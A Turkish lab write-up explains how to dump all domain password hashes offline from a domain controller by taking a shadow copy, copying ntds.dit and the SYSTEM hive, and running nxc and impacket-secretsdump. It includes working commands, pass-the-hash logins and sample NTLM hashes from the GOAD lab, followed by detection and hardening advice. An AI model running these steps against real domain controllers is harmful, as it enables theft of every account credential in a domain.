Çevrimdışı Domain Dökümü: Shadow Copy ve NTDS.dit

Bir Domain Controller’ı boşaltmanın iki yolu

Domain Admin olduktan sonra domain’deki her hash’i almanın iki temel yolu vardır. DCSync, DC’den replikasyon yapmasını ister — çevrimiçi bir yöntemdir ve replikasyon hakkı gerektirir. NTDS.dit ise hiçbir şey istemez: C: sürücüsünün anlık görüntüsünü alır, veritabanı dosyasının kendisini dışarı çıkarır ve kendi makinede dökersin.

Çevrimdışı yol önemlidir çünkü yalnızca DC üzerinde local admin olmanla çalışır — DS-Replication-Get-Changes yok, DCSync yok, KDC etkileşimi yok. Veritabanı, C:\Windows\NTDS\ntds.dit altında duran bir dosyadan ibarettir; ancak dosya kilitli olduğu için doğrudan okunamaz. Volume Shadow Copy (VSS), tam da böyle kilitli bir dosyayı okumanın yerleşik yoludur: dosyanın o anki tutarlı bir kopyasını sunar. Bu tutarlılık önemlidir, çünkü canlı bir veritabanını kopyalarken yarım kalan yazmalar bozuk bir dosya üretebilir; anlık görüntü ise tek bir zamana sabitlenmiş bütünlüklü bir kopya verir.

Tek satır: nxc tüm dansı yapar

nxc --ntds vss, shadow copy oluşturmayı, dosya kopyalamayı ve dökümü tek komutta otomatikleştirir. Sonuç, DCSync’ten aldığımız aynı 19 hash’tir; fark, bunların replikasyon protokolü yerine doğrudan veritabanı dosyası üzerinden elde edilmesidir:

$ nxc smb 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e --ntds vss
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\Administrator (Pwn3d!)
SMB  192.168.56.10  445  KINGSLANDING  Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
SMB  192.168.56.10  445  KINGSLANDING  krbtgt:502:...:72765225164f1b6542a3b0464aad363a:::
SMB  192.168.56.10  445  KINGSLANDING  [+] Dumped 19 NTDS hashes ...

vss yöntemi onu çevrimdışı yapan şeydir: bir shadow copy oluşturur, ntds.dit dosyasını bu kopyadan okur ve hash’leri yerel olarak döker. Yani DC’nin canlı veritabanına doğrudan dokunmadan, onun tutarlı bir görüntüsü üzerinden çalışılır. Bu ayrım yalnızca teknik bir ayrıntı değildir: dosya kopyalandıktan sonra yapılan analiz, DC üzerinde ek bir işlem veya protokol konuşması gerektirmez.

Aslında arka planda ne olur

Tek satır, bilmeye değer üç manuel adımı gizler; çünkü nxc yoksa veya engelleniyorsa bu adımları elle yapman gerekir. Birinci adım shadow copy oluşturmaktır:

$ nxc winrm 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -x "vssadmin create shadow /for=C:"
WINRM  [+] Successfully created shadow copy for 'C:\'
WINRM  Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Elde edilen yol, C: sürücüsünün canlı bir anlık görüntüsüdür ve kilitli ntds.dit artık bu yol üzerinden okunabilir. İkinci adım veritabanını ve SYSTEM hive’ını bu görüntüden dışarı kopyalamak, üçüncü adım ise ikisini çevrimdışı dökmektir:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\system.hive

$ impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

Buradaki anahtar LOCAL parametresidir: son komut, Domain Controller’a karşı değil, indirdiğimiz dosyalara karşı çalışır. O noktadan itibaren DC çevrimdışı olabilir, yeniden başlatılabilir ya da bizi izliyor olabilir — hiç fark etmez, çünkü veritabanı artık elimizdedir.

Ödünleşim her yerdekiyle aynıdır. DCSync ağ üzerinde daha sessizdir ama belirli bir hak gerektirir; shadow-copy dökümü yalnızca local admin ister, buna karşılık arkasında daha fazla disk ve olay aktivitesi bırakır (vssadmin/VSS olayları ve birimde oluşan yeni bir anlık görüntü). Yani hangi yolu seçeceğin, elindeki yetkiye ve bırakmayı göze aldığın izlere bağlıdır; doğru seçim çoğu zaman hangi yetkinin gerçekten mevcut olduğuyla belirlenir.

Tespit ve çözüm

Tespit: Shadow-copy istismarı, ntds.dit üzerinde 4663 (nesne erişimi) olayı ve VSS işlemleri bırakır; ayrıca vssadmin list shadows gibi araçların ortaya çıkardığı yeni bir birim anlık görüntüsü oluşur. Asıl ipucu, yedekleme penceresi dışında bir Domain Controller’da vssadmin/diskshadow çalıştıran ya da ntds.dit dosyasına dokunan yedekleme dışı bir süreçtir.

Kontrol: Shadow copy oluşturabilen ve ntds.dit okuyabilen kişileri kısıtla — bu yetkiler yalnızca yedekleme servis hesabında olmalı. DC’lerde VSS ve ntds.dit erişim olaylarını izle ve Domain Controller’ın saldırı yüzeyini küçük tut; öyle ki DC üzerinde local admin olmak zaten göz yumduğun değil, tespit ettiğin bir “oyun bitti” koşulu olsun. Unutma: bu teknik yalnızca local admin ile çalıştığı için, DC’de gereğinden fazla yerel yönetici bulundurmak doğrudan tüm domain’in hash’lerine giden yolu açar.

Özet

Kanıt ve sınırlar

VSS anlık görüntüsü (--ntds vss) ve çevrimdışı ntds.dit + SYSTEM çıkarımı, izole GOAD laboratuvarındaki KINGSLANDING (192.168.56.10) üzerinde yürütülmüştür. Dökülen tüm hash’ler GOAD’ın önceden hazırlanmış test hesaplarına aittir; gerçek bir üretim ortamında bu verilerin hassasiyeti çok daha yüksek olacaktır.

Referanslar

• Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
• The Hacker Recipes, Dumping NTDS: thehacker.recipes/ad/movement/credentials/dumping/ntds
• HackTricks, Active Directory Methodology: hacktricks.wiki
• MITRE ATT&CK, NTDS (T1003.003): attack.mitre.org/techniques/T1003/003